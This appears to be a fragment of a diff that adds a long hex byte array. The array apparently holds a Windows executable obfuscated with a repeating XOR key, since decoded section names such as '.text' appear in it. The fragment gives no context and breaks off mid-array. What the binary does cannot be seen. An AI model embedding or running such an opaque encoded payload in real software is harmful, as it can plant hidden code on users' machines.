0xa9, 0xaa, 0xbd, 0xb5, 0xab, 0xa5, 0xb9, 0xab, 0xa9, 0xaa, 0xbd, +0x2c, 0xec, 0x85, 0xf6, 0x8b, 0x79, 0xa1, 0x34, 0x8d, 0x66, 0x69, 0x75, 0x67, 0xa2, 0x23, 0x81, +0x79, 0x67, 0x69, 0x75, 0xa0, 0x20, 0x9a, 0x71, 0x79, 0x67, 0x69, 0xb2, 0x22, 0x9d, 0x66, 0x71, +0x79, 0x67, 0xae, 0x30, 0x83, 0x69, 0x66, 0x71, 0x79, 0xa0, 0x2c, 0x9d, 0x67, 0x65, 0x66, 0x71, +0xbe, 0x22, 0x85, 0x74, 0x67, 0x65, 0x66, 0x19, 0x79, 0x27, 0x69, 0x65, 0x0d, 0x64, 0x0c, 0x70, +0xf4, 0x22, 0x8d, 0x25, 0x98, 0x70, 0x56, 0x51, 0x79, 0x77, 0xe0, 0x30, 0x9b, 0xe6, 0x1b, 0x8d, +0x79, 0x12, 0x6b, 0x9e, 0x12, 0xa2, 0x23, 0x85, 0x79, 0x67, 0x69, 0x75, 0x0d, 0x65, 0xed, 0x3c, +0x85, 0x36, 0x96, 0x60, 0x6f, 0x45, 0x66, 0x61, 0x44, 0x65, 0x68, 0x75, 0x67, 0x10, 0x64, 0x9a, +0x20, 0xa0, 0x2c, 0x85, 0x66, 0x65, 0x66, 0x71, 0x11, 0x6f, 0x28, 0x75, 0x77, 0x0f, 0x67, 0x19, +0x79, 0x67, 0x7b, 0x75, 0x98, 0x70, 0x76, 0x51, 0x79, 0x77, 0xe0, 0x30, 0x9f, 0xe6, 0x1b, 0x89, +0x79, 0x13, 0x65, 0xfe, 0x32, 0x9d, 0x34, 0x8e, 0x6c, 0x67, 0x49, 0x75, 0x77, 0x8e, 0x4d, 0x19, +0x71, 0x26, 0x69, 0x65, 0x0d, 0x64, 0x0c, 0x70, 0xf4, 0x22, 0x8d, 0x25, 0x98, 0x70, 0x6a, 0x51, +0x79, 0x77, 0xe0, 0x30, 0x9f, 0xe6, 0x1b, 0x89, 0x79, 0x13, 0x6e, 0xb2, 0x22, 0x91, 0x67, 0x71, +0x79, 0x67, 0x5a, 0xbc, 0x68, 0xe0, 0x0b, 0x8e, 0x86, 0x98, 0xea, 0x08, 0x9b, 0x65, 0x12, 0x6f, +0xfa, 0x1a, 0x99, 0x75, 0x13, 0x6b, 0x0c, 0x71, 0x13, 0x66, 0xe2, 0x20, 0x9b, 0x37, 0x99, 0x64, +0x7d, 0x47, 0x69, 0x65, 0xec, 0x20, 0x9a, 0x21, 0x86, 0x72, 0x69, 0x55, 0x67, 0x75, 0xed, 0x34, +0x8d, 0xec, 0x8c, 0x28, 0xa4, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0xd9, 0x46, 0x69, 0x75, 0xc9, 0x44, 0x66, 0x71, 0xbb, 0x46, 0x69, 0x75, 0xbf, 0x44, 0x66, 0x71, +0x91, 0x46, 0x69, 0x75, 0x91, 0x44, 0x66, 0x71, 0x7d, 0x45, 0x69, 0x75, 0x73, 0x47, 0x66, 0x71, +0x5f, 0x45, 0x69, 0x75, 0x5d, 0x47, 0x66, 0x71, 0x37, 0x45, 0x69, 0x75, 0x07, 0x47, 0x66, 0x71, +0x0f, 0x45, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x49, 0x65, 0x20, 0x13, +0x79, 0x67, 0x69, 0x75, 0x6a, 0x65, 0x66, 0x71, 0xb5, 0x67, 0x69, 0x75, 0x13, 0x45, 0x66, 0x71, +0x0d, 0x6f, 0x69, 0x75, 0x7f, 0x65, 0x66, 0x71, 0x7b, 0xe7, 0x6b, 0xf5, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x0b, 0x45, 0x66, 0x71, 0x71, 0x67, 0x69, 0x75, 0x67, 0x75, 0x66, 0x71, +0xec, 0x65, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x77, 0x69, 0x75, 0xf2, 0x67, 0x66, 0x71, +0x57, 0x13, 0x0c, 0x0d, 0x13, 0x41, 0x0b, 0x1f, 0x79, 0x67, 0x69, 0x75, 0x67, 0x45, 0x66, 0x71, +0x41, 0x67, 0x69, 0x75, 0x49, 0x0c, 0x02, 0x10, 0x0d, 0x06, 0x4d, 0x40, 0x67, 0x65, 0x66, 0x71, +0x41, 0x47, 0x69, 0x75, 0x7b, 0x65, 0x66, 0x71, 0x57, 0x15, 0x0d, 0x14, 0x13, 0x04, 0x66, 0x71, +0x2d, 0x47, 0x69, 0x75, 0x47, 0x65, 0x66, 0x71, 0x57, 0x15, 0x0d, 0x14, 0x13, 0x04, 0x42, 0x07, +0x16, 0x0b, 0x1d, 0x18, 0x03, 0x65, 0x66, 0x71, 0x0d, 0x47, 0x69, 0x75, 0xab, 0x65, 0x66, 0x71, +0x57, 0x15, 0x0d, 0x14, 0x13, 0x04, 0x42, 0x0b, 0x03, 0x1d, 0x0d, 0x17, 0x00, 0x65, 0x66, 0x71, +0x39, 0x46, 0x69, 0x75, 0x73, 0x65, 0x66, 0x71, 0x57, 0x0e, 0x0d, 0x14, 0x13, 0x04, 0x42, 0x43, +0x79, 0x67, 0x69, 0x75, 0x33, 0x44, 0x66, 0x71, 0x6d, 0x67, 0x69, 0x75, 0x49, 0x0c, 0x02, 0x10, +0x0d, 0x06, 0x4d, 0x46, 0x67, 0x65, 0x66, 0x71, 0x11, 0x46, 0x69, 0x75, 0x5f, 0x65, 0x66, 0x71, +0x57, 0x0e, 0x0d, 0x14, 0x13, 0x04, 0x42, 0x45, 0x79, 0x67, 0x69, 0x75, 0xc7, 0x44, 0x66, 0x71, +0x81, 0x67, 0x69, 0x75, 0x49, 0x0c, 0x02, 0x10, 0x0d, 0x06, 0x4d, 0x43, 0x67, 0x65, 0x66, 0x71, +0x79, 0x57, 0x69, 0x75, 0x4e, 0x77, 0x66, 0x71, 0x57, 0x03, 0x08, 0x01, 0x06, 0x65, 0x66, 0x71, +0x11, 0x46, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0xed, 0x47, 0x66, 0x71, +0x79, 0x47, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0xd9, 0x46, 0x69, 0x75, 0xc9, 0x44, 0x66, 0x71, +0xbb, 0x46, 0x69, 0x75, 0xbf, 0x44, 0x66, 0x71, 0x91, 0x46, 0x69, 0x75, 0x91, 0x44, 0x66, 0x71, +0x7d, 0x45, 0x69, 0x75, 0x73, 0x47, 0x66, 0x71, 0x5f, 0x45, 0x69, 0x75, 0x5d, 0x47, 0x66, 0x71, +0x37, 0x45, 0x69, 0x75, 0x07, 0x47, 0x66, 0x71, 0x0f, 0x45, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0xf0, 0x67, 0x2a, 0x19, 0x08, 0x16, 0x03, 0x39, 0x18, 0x09, 0x0d, 0x19, 0x02, 0x65, 0xd0, 0x75, +0x2b, 0x02, 0x05, 0x10, 0x06, 0x16, 0x03, 0x22, 0x1c, 0x0a, 0x08, 0x05, 0x0f, 0x0a, 0x14, 0x14, +0x79, 0x67, 0xb2, 0x70, 0x30, 0x04, 0x0f, 0x05, 0x3f, 0x08, 0x1b, 0x26, 0x0e, 0x0b, 0x01, 0x1d, +0x1c, 0x28, 0x0b, 0x1f, 0x02, 0x06, 0x12, 0x71, 0xc6, 0x67, 0x2a, 0x07, 0x02, 0x04, 0x12, 0x14, +0x3c, 0x11, 0x0c, 0x1b, 0x13, 0x24, 0x66, 0x71, 0x7b, 0x63, 0x26, 0x05, 0x02, 0x0b, 0x23, 0x07, +0x1c, 0x09, 0x1d, 0x34, 0x67, 0x65, 0x04, 0x70, 0x3c, 0x1f, 0x00, 0x01, 0x33, 0x0d, 0x14, 0x14, +0x18, 0x03, 0x69, 0x75, 0xa8, 0x61, 0x34, 0x14, 0x0a, 0x12, 0x04, 0x10, 0x33, 0x0d, 0x14, 0x14, +0x18, 0x03, 0x69, 0x75, 0x84, 0x65, 0x25, 0x03, 0x1c, 0x06, 0x1d, 0x10, 0x37, 0x17, 0x09, 0x12, +0x1c, 0x14, 0x1a, 0x34, 0x67, 0x65, 0x9c, 0x73, 0x3e, 0x02, 0x1d, 0x21, 0x0f, 0x17, 0x03, 0x10, +0x1d, 0x24, 0x06, 0x1b, 0x13, 0x00, 0x1e, 0x05, 0x79, 0x67, 0x31, 0x70, 0x34, 0x00, 0x12, 0x25, +0x11, 0x15, 0x0c, 0x14, 0x03, 0x26, 0x09, 0x1f, 0x0d, 0x02, 0x11, 0x01, 0x67, 0x65, 0xad, 0x74, +0x2f, 0x0e, 0x1b, 0x01, 0x12, 0x04, 0x0a, 0x30, 0x15, 0x0b, 0x06, 0x16, 0x22, 0x1d, 0x66, 0x71, +0x66, 0x61, 0x3e, 0x07, 0x0e, 0x11, 0x03, 0x21, 0x0b, 0x08, 0x0a, 0x10, 0x14, 0x16, 0x2b, 0x14, +0x14, 0x08, 0x1b, 0x0c, 0x67, 0x65, 0x8a, 0x71, 0x3a, 0x15, 0x0c, 0x14, 0x13, 0x00, 0x35, 0x14, +0x14, 0x06, 0x19, 0x1d, 0x08, 0x17, 0x03, 0x30, 0x79, 0x67, 0x22, 0x30, 0x35, 0x2b, 0x23, 0x3d, +0x4a, 0x55, 0x47, 0x11, 0x0b, 0x09, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x85, 0x8f, 0xe6, 0x75, 0x67, 0x65, 0x06, 0xf8, 0x9c, 0x56, 0xbb, 0x11, 0xec, 0x37, 0x56, 0xfa, +0x2b, 0x6b, 0xe2, 0x27, 0x73, 0x54, 0x99, 0x7e, 0xce, 0x2d, 0x4f, 0xfe, 0x15, 0x4d, 0x57, 0xb1, +0xd5, 0x5b, 0x08, 0x09, 0x65, 0x49, 0x46, 0xb0, 0xb6, 0x6a, 0x68, 0xb2, 0x2e, 0x10, 0x89, 0x23, +0x2e, 0xec, 0x3b, 0x65, 0xec, 0x27, 0x5a, 0x70, 0xa9, 0xec, 0x29, 0x0d, 0xe2, 0xa5, 0x12, 0x3d, +0x78, 0xb7, 0xe2, 0x3d, 0x7f, 0xee, 0x3e, 0x51, 0x78, 0xb4, 0x39, 0xf0, 0xae, 0x11, 0x5a, 0x40, +0x86, 0x2e, 0xe2, 0x41, 0xec, 0x64, 0xb0, 0x40, 0xb9, 0xcb, 0xa8, 0xba, 0x6a, 0x64, 0xa1, 0x49, +0x99, 0x12, 0x9d, 0x76, 0x1a, 0x9d, 0x5d, 0x0c, 0x5d, 0x12, 0x89, 0x2d, 0xec, 0x3d, 0x42, 0x70, +0xaa, 0x01, 0xe2, 0x79, 0x2c, 0xee, 0x3e, 0x6d, 0x78, 0xb4, 0xe2, 0x71, 0xec, 0x64, 0xb6, 0xf8, +0x3d, 0x43, 0x4d, 0x2e, 0x3c, 0x04, 0x3f, 0x2b, 0x28, 0x98, 0x89, 0x2d, 0x38, 0x3f, 0xed, 0x63, +0x90, 0xe7, 0x96, 0x8a, 0x98, 0x38, 0x0e, 0x42, 0x4b, 0x67, 0x69, 0x1d, 0x10, 0x16, 0x54, 0x2e, +0x2d, 0x0f, 0x25, 0x02, 0x41, 0x62, 0xef, 0x99, 0x86, 0xb7, 0xd1, 0xe5, 0x66, 0x65, 0x66, 0x58, +0xbd, 0x33, 0x39, 0x1d, 0x4e, 0xe5, 0x0d, 0x71, 0x86, 0xb2, 0x03, 0x7f, 0x0f, 0xa5, 0xce, 0x70, +0x53, 0x0f, 0x6b, 0x75, 0x62, 0x5c, 0xef, 0x97, 0x29, 0x37, 0x39, 0x25, 0x27, 0x35, 0x26, 0x21, +0x11, 0x8d, 0x66, 0xaa, 0x87, 0x9a, 0xb3, 0xe6, 0x13, 0x77, 0x3f, 0x22, 0x0f, 0xfc, 0xc3, 0x05, +0x18, 0x98, 0xbc, 0xf0, 0xa7, 0x11, 0x6c, 0x8e, 0x37, 0x6f, 0x1c, 0x99, 0x8f, 0x02, 0x66, 0x71, +0x79, 0x0d, 0x69, 0x1f, 0x63, 0x33, 0x31, 0x19, 0x7b, 0xbe, 0xa1, 0x2a, 0x98, 0xb0, 0xe5, 0x89, +0x79, 0x19, 0x5f, 0xfe, 0x51, 0x0f, 0x26, 0x19, 0x79, 0x77, 0x69, 0x75, 0x31, 0x0f, 0x66, 0x19, +0x21, 0xc3, 0x3a, 0x90, 0x98, 0xb0, 0xf5, 0x22, 0x13, 0x67, 0x3f, 0x26, 0x30, 0x0d, 0x64, 0xa8, +0xb1, 0x38, 0x96, 0xa0, 0xe4, 0x9d, 0x66, 0x0c, 0x51, 0x3f, 0x01, 0x75, 0x27, 0x65, 0x66, 0x1b, +0x79, 0x37, 0x01, 0x7e, 0x48, 0x6a, 0x56, 0x8e, 0xac, 0x30, 0x01, 0x00, 0x09, 0x28, 0x07, 0x8e, +0xac, 0x39, 0x37, 0x8a, 0x6b, 0x41, 0x69, 0xf4, 0x09, 0x98, 0x96, 0x8a, 0x8e, 0xfe, 0x99, 0x8e, +0x86, 0x66, 0xaa, 0x5c, 0xa1, 0x10, 0xa7, 0xb2, 0xc2, 0x97, 0xdc, 0xd7, 0x31, 0x0f, 0x66, 0x22, +0x86, 0xb2, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 